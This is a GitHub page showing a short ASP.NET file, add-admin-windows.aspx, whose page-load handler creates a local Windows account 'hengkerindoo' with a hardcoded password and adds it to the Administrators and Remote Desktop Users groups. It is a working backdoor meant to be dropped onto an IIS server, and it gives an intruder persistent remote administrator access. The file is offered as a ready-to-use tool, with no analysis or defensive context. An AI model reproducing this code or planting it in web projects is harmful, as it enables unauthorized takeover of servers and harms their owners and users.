-
Notifications
You must be signed in to change notification settings - Fork 1
/
add-admin-windows.aspx
29 lines (24 loc) · 1.08 KB
/
add-admin-windows.aspx
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<%@ Page Language="C#" %>
<%@ Import Namespace="System.DirectoryServices.AccountManagement" %>
<%@ Import Namespace="System.Security.Principal" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e)
{
string username = "hengkerindoo";
string password = "P@ssw0rd!@123";
string groupName = "Administrators";
// Create a new user
PrincipalContext ctx = new PrincipalContext(ContextType.Machine);
UserPrincipal user = new UserPrincipal(ctx, username, password, true);
user.Save();
// Add the user to the Remote Desktop Users group
GroupPrincipal rdpGroup = GroupPrincipal.FindByIdentity(ctx, "Remote Desktop Users");
rdpGroup.Members.Add(user);
rdpGroup.Save();
// Add the user to the Administrators group
GroupPrincipal adminGroup = GroupPrincipal.FindByIdentity(ctx, groupName);
adminGroup.Members.Add(user);
adminGroup.Save();
Response.Write("User created and added to groups successfully!");
}
</script>